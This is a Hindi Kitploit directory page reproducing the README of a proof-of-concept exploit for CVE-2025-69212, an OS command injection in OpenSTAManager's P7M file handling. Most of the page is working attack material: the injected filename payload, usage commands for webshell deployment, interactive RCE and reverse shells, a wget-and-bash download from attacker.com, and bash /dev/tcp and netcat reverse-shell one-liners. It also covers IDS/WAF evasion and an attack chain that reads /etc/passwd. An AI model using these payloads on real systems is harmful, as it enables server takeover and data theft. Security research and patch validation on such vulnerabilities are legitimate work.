Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-69212-PoC — OpenSTAManager v2.9.8 और इससे पहले के संस्करणों में P7M (साइन किया गया XML) फ़ाइल डिकोडिंग फ़ंक्शन में एक महत्वपूर्ण OS Command Injection भेद्यता है। | Kitploit
उपकरण/GitHubGitHub/bridgeralderson/cve-2025-69212-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHub
bridgeralderson/cve-2025-69212-poc

CVE-2025-69212-PoC

OpenSTAManager v2.9.8 और इससे पहले के संस्करणों में P7M (साइन किया गया XML) फ़ाइल डिकोडिंग फ़ंक्शन में एक महत्वपूर्ण OS Command Injection भेद्यता है।

रिपॉजिटरी देखें
3162 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-69212

OpenSTAManager <= 2.9.8 — P7M फ़ाइल प्रोसेसिंग में OS कमांड इंजेक्शन

अवलोकन

फ़ील्डविवरण
CVE IDCVE-2025-69212
गंभीरताCRITICAL (CVSS 4.0: 9.4)
CWECWE-78: OS कमांड इंजेक्शन
प्रभावित संस्करणOpenSTAManager <= 2.9.8
कमजोर फ़ंक्शनXML::decodeP7M() in src/Util/XML.php
आक्रमण वेक्टरअपलोड किए गए ZIP आर्काइव में दुर्भावनापूर्ण फ़ाइलनाम
प्रमाणीकरणआवश्यक (इनवॉइस आयात पहुंच वाला कोई भी उपयोगकर्ता)
प्रभाववेब सर्वर उपयोगकर्ता के रूप में पूर्ण रिमोट कोड निष्पादन (RCE)

भेद्यता विवरण

OpenSTAManager v2.9.8 और पुराने संस्करणों में P7M (साइन किया गया XML) फ़ाइल डिकोडिंग फ़ंक्शन में एक महत्वपूर्ण OS कमांड इंजेक्शन भेद्यता है। src/Util/XML.php में decodeP7M() विधि बिना सैनिटाइज़ेशन के उपयोगकर्ता-नियंत्रित फ़ाइलनामों को सीधे PHP के exec() फ़ंक्शन में पास करती है, जिससे प्रमाणित हमलावर सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकते हैं।

मूल कारण

root@kitploit:~
// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

$file पैरामीटर — जो अपलोड किए गए ZIP आर्काइव के अंदर फ़ाइलनामों से उत्पन्न होता है — डबल कोट्स में लपेटा गया है लेकिन कभी escapeshellarg() से सैनिटाइज़ नहीं किया गया। एक हमलावर एक .p7m फ़ाइलनाम बना सकता है जो डबल-कोट संदर्भ से बच निकलता है और मनमाने शेल कमांड इंजेक्ट करता है।

प्रवेश बिंदु

  1. plugins/importFE_ZIP/actions.php:126 — इलेक्ट्रॉनिक इनवॉइस वाले ZIP अपलोड को संसाधित करते समय प्राथमिक वेक्टर
  2. plugins/importFE/src/FatturaElettronica.php:56 — कंस्ट्रक्टर जो अलग-अलग .p7m फ़ाइलों को प्रोसेस करता है

सुविधाएँ

सुविधाविवरण
--checkजाँचें कि लक्ष्य असुरक्षित है या नहीं (एक मार्कर फ़ाइल बनाता है और जाँचता है)
--webshellOS कमांड इंजेक्शन के माध्यम से PHP वेबशेल तैनात करें
--rceतैनात वेबशेल के माध्यम से इंटरएक्टिव कमांड निष्पादन
--reverse-shellरिवर्स शेल ट्रिगर करें (python, nc, nc-e विधियाँ)
--cmdब्लाइंड कमांड निष्पादन (फायर-एंड-फॉरगेट)
--shell-dirकस्टम वेबशेल लेखन निर्देशिका
--methodरिवर्स शेल विधि चयन
--proxyHTTP प्रॉक्सी समर्थन (Burp Suite)
--delayIDS/WAF चोरी के लिए अनुरोध थ्रॉटलिंग
Auto-detectionimportFE_ZIP मॉड्यूल/प्लगइन आईडी की स्वचालित खोज

स्थापना

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

उपयोग

प्रमाणीकरण

root@kitploit:~
# क्रेडेंशियल के साथ लॉगिन
python3 exploit.py -t http://target.com -u admin -p secret --check

# मौजूदा सत्र कुकी का उपयोग करें
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

भेद्यता जाँच

root@kitploit:~
# प्लगइन का ऑटो-डिटेक्ट करें और भेद्यता सत्यापित करें
python3 exploit.py -t http://target.com -u admin -p secret --check

# ज्ञात मॉड्यूल/प्लगइन आईडी के साथ
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

वेबशेल तैनाती

root@kitploit:~
# वेबशेल को डिफ़ॉल्ट निर्देशिका (files/) में तैनात करें
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# कस्टम निर्देशिका और फ़ाइलनाम
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

इंटरएक्टिव RCE

root@kitploit:~
# वेबशेल तैनाती + इंटरएक्टिव शेल
python3 exploit.py -t http://target.com -u admin -p secret --rce

# पिछले रन से मौजूदा वेबशेल के साथ
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

रिवर्स शेल

root@kitploit:~
# बैश रिवर्स शेल (डिफ़ॉल्ट, बहुत विश्वसनीय)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# पायथन रिवर्स शेल
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# mkfifo के साथ Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# -e फ़्लैग के साथ Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

ब्लाइंड कमांड निष्पादन

root@kitploit:~
# एक कमांड निष्पादित करें (कोई आउटपुट वापस नहीं)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# पेलोड डाउनलोड और निष्पादित करें
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

नेटवर्क विकल्प

root@kitploit:~
# Burp Suite प्रॉक्सी के माध्यम से
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# अनुरोध विलंब के साथ (2 सेकंड)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# SSL सत्यापन छोड़ें
python3 exploit.py -t https://target.com -u admin -p secret --check -k

पूर्ण विकल्प संदर्भ

root@kitploit:~
Target:
  -t, --target           लक्ष्य मूल URL

Authentication:
  -u, --user             लॉगिन के लिए उपयोगकर्ता नाम
  -p, --password         लॉगिन के लिए पासवर्ड
  -c, --cookie           मौजूदा PHPSESSID मान

Actions:
  --check                सत्यापित करें कि लक्ष्य असुरक्षित है
  --webshell             PHP वेबशेल तैनात करें
  --rce                  वेबशेल के माध्यम से इंटरएक्टिव शेल
  --reverse-shell        रिवर्स शेल (LHOST LPORT)
  --cmd COMMAND          ब्लाइंड कमांड निष्पादन

Shell Options:
  --shell-dir DIR        वेबशेल लेखन निर्देशिका (डिफ़ॉल्ट: files)
  --shell-name NAME      कस्टम वेबशेल फ़ाइलनाम
  --method METHOD        रिवर्स शेल विधि: bash, python, nc, nc-e

Plugin Detection:
  --module-id ID         OpenSTAManager मॉड्यूल आईडी
  --plugin-id ID         importFE_ZIP प्लगइन आईडी

Network:
  --proxy URL            HTTP प्रॉक्सी URL
  -k, --no-ssl-verify    SSL सत्यापन अक्षम करें
  --delay SECONDS        अनुरोधों के बीच विलंब

तकनीकी विवरण

पेलोड संरचना

एक्सप्लॉइट एक ZIP आर्काइव बनाता है जिसमें एक दुर्भावनापूर्ण फ़ाइलनाम के साथ एक .p7m फ़ाइल होती है:

root@kitploit:~
invoice.p7m";INJECTED_COMMAND;echo ".p7m

जब OpenSTAManager इस फ़ाइल को प्रोसेस करता है, तो परिणामी exec() कॉल बन जाता है:

root@kitploit:~
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

शेल सेमीकोलन को कमांड सेपरेटर के रूप में व्याख्या करता है, समाप्त openssl कॉल और अनुगामी echo के बीच इंजेक्ट किए गए कमांड को निष्पादित करता है।

ZipArchive फ़ाइलनाम बाधा

महत्वपूर्ण: PHP का ZipArchive::extractTo() ZIP विनिर्देश के अनुसार फ़ाइलनामों में फ़ॉरवर्ड स्लैश (/) को निर्देशिका विभाजक के रूप में मानता है। दुर्भावनापूर्ण फ़ाइलनाम में कोई भी / आर्काइव प्रविष्टि को निर्देशिकाओं में विभाजित कर देगा, जिससे एक्सप्लॉइट पेलोड टूट जाएगा।

सभी इंजेक्ट किए गए कमांड को पूरी तरह से / से बचना चाहिए। इस प्रतिबंध को पूरी तरह से बायपास करने और PHP exec() को हैंग होने से रोकने के लिए (जो सर्वर वर्कर्स को बांध सकता है और टाइमआउट का कारण बन सकता है), एक्सप्लॉइट अब स्वचालित रूप से पेलोड को Base64 में लपेटता है और उन्हें पृष्ठभूमि में निष्पादित करता है:

root@kitploit:~
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

यह हमें आंतरिक पेलोड में स्वाभाविक रूप से / का उपयोग करने की अनुमति देता है (जैसे, /dev/tcp/10.10.14.5/4444) बिना ZIP संरचना को तोड़े।

रिवर्स शेल विधियाँ

विधिपेलोडआवश्यकता
bashbash -c 'bash -i >& /dev/tcp/H/P 0>&1'bash
pythonpython3 -c "import socket,os,subprocess;..."Python 3
ncrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/fnetcat + mkfifo
nc-enc HOST PORT -e /bin/bashnetcat with -e support

bash विधि अब डिफ़ॉल्ट है क्योंकि यह Linux लक्ष्यों पर सबसे विश्वसनीय और मूल विधि है।

कमजोर कोड पथ

root@kitploit:~
importFE_ZIP प्लगइन के माध्यम से ZIP अपलोड करें
    └── actions.php प्लगइन हैंडलर पर डिस्पैच करता है
        └── ZipArchive::extractTo() फ़ाइलें निकालता है
            └── .p7m फ़ाइलों पर पुनरावृति करता है
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── शेल इंजेक्ट किए गए कमांड की व्याख्या करता है

हमला श्रृंखला उदाहरण

root@kitploit:~
1. --check             → मार्कर फ़ाइल के माध्यम से RCE की पुष्टि करें
2. --webshell          → files/ निर्देशिका में PHP शेल डालें
3. --rce               → इंटरएक्टिव कमांड निष्पादन
4. Enumerate           → id, cat /etc/passwd, ifconfig
5. Pivot               → हमलावर को रिवर्स शेल, पोस्ट-एक्सप्लॉइटेशन

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।

संदर्भ

  • CVE-2025-69212 (NVD)
  • GitHub Security Advisory — GHSA-25fp-8w8p-mx36
  • OpenSTAManager Repository
  • PoC by Lukasz Rybak
टूल डाउनलोड करें